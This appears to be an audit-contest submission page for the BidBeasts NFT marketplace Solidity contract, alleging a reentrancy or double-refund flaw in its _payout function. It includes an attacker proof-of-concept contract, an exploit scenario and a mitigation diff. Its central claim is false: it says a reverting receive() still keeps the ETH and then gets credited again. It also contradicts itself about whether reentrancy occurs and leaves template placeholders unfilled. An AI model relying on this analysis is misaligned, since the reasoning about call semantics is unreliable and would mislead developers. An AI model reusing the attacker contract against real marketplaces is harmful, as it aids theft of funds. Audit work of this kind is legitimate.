Bid Beasts

First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Smart Contract Audit Report: BidBeastsNFTMarketPlace.sol

Root + Impact

Description

  • Describe the normal behavior in one or more sentences

  • Explain the specific issue or problem in one or more sentences

function _payout(address recipient, uint256 amount) internal {
if (amount == 0) return;
@> (bool success, ) = payable(recipient).call{value: amount}("");<@
if (!success) {
failedTransferCredits[recipient] += amount;
}
}

Risk

Likelihood:

  • Reason 1 // Describe WHEN this will occur (avoid using "if" statements): The payout function sends ETH to a recipient address controlled by an attacker, where the recipient executes a fallback or receive function that calls back into the marketplace contract before the original transaction completes state updates, allowing repeated withdrawals or bid manipulations.

  • Reason 2: An auction settlement or bid placement triggers a refund or payout to a bidder whose address is a smart contract designed to exploit the unguarded external call, leading to drained funds during high-value NFT auctions.

Impact:

  • Impact 1: Funds intended for bidders or sellers get drained repeatedly through recursive calls, resulting in total loss of ETH held in the contract during active auctions.

  • Impact 2: Auction integrity breaks as reentrancy alters bid states mid-transaction, assigning NFTs to incorrect winners and causing disputes or permanent asset misallocation.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
// Import the marketplace contract (copy from your source)
import "./BidBeastsNFTMarketPlace.sol"; // Adjust path as needed
import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; // For NFT interactions
contract ReentrancyPoCAttacker {
BidBeastsNFTMarket public marketplace;
IERC721 public nft; // The BBERC721 NFT contract
uint256 public tokenId; // Target NFT tokenId for auction
bool public shouldRevert = true; // Flag to control revert in receive (for testing)
constructor(address _marketplace, address _nft, uint256 _tokenId) {
marketplace = BidBeastsNFTMarket(_marketplace);
nft = IERC721(_nft);
tokenId = _tokenId;
}
// Step 1: Attacker places initial bid (fund with ETH)
function placeInitialBid() external payable {
marketplace.placeBid{value: msg.value}(tokenId);
}
// Step 4: Attacker claims the double refund from failed credits
function claimDoubleRefund() external {
marketplace.withdrawAllFailedCredits(address(this));
}
// Receive function: Receives ETH, then reverts to trigger failed credit
receive() external payable {
if (shouldRevert) {
revert("Intentional revert to exploit failed transfer");
}
}
// For testing: Toggle revert flag
function toggleRevert(bool _shouldRevert) external {
shouldRevert = _shouldRevert;
}
// Fallback if needed
fallback() external payable {
if (shouldRevert) {
revert("Intentional revert to exploit failed transfer");
}
}
}
## The high-severity issue in the \_payout function is flagged as a potential reentrancy vulnerability, but upon analysis, it appears to be more accurately a mishandling of failed ETH transfers. The low-level call transfers ETH **unconditionally** (even if the recipient's fallback/receive function reverts), but the contract checks success afterward and credits the amount to failedTransferCredits if false. A malicious recipient can receive the ETH, revert intentionally, trick the contract into crediting the amount again, and withdraw it a second time—resulting in double payment.
This is exploitable without true reentrancy (no need for recursive calls), but the scanner likely flagged it due to the external call's potential for "unexpected behavior" in the fallback. True reentrancy (e.g., exploiting shared state before updates) is not possible here because the contract follows Checks-Effects-Interactions (state updates occur before calls).
#### Exploit Scenario
1. Attacker deploys a malicious contract and places a bid on an NFT auction, becoming the highest bidder.
2. A legitimate user places a higher bid, triggering a refund to the attacker via \_payout.
3. During the call{value: amount}, ETH is transferred to the attacker's contract.
4. The attacker's receive() function reverts intentionally, making success = false.
5. The marketplace adds the amount to failedTransferCredits\[attacker].
6. Attacker calls withdrawAllFailedCredits to claim the credited amount again, doubling the refund.

Recommended Mitigation

function _payout(address recipient, uint256 amount) internal {
if (amount == 0) return;
- (bool success, ) = payable(recipient).call{value: amount}("");
- if (!success) {
- failedTransferCredits[recipient] += amount;
- }
+ failedTransferCredits[recipient] += amount;
}
## Use recipient.transfer(amount) instead of call (limits gas, prevents reentrancy, but has 2300 gas stipend—may fail for contracts).
* Or, credit to failedTransferCredits **before** the call, and subtract if success=true.
* Best: Use pull-payments—always credit to a mapping, let users withdraw separately (no direct send).
* Add ReentrancyGuard if true reentrancy paths emerge in future code.
Updates

Lead Judging Commences

cryptoghost Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Reentrancy In PlaceBid

BidBeast Marketplace has a Medium-severity reentrancy vulnerability in its "buy-now" feature that allows an attacker to disrupt the platform by blocking sales or inflating gas fees for legitimate users.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.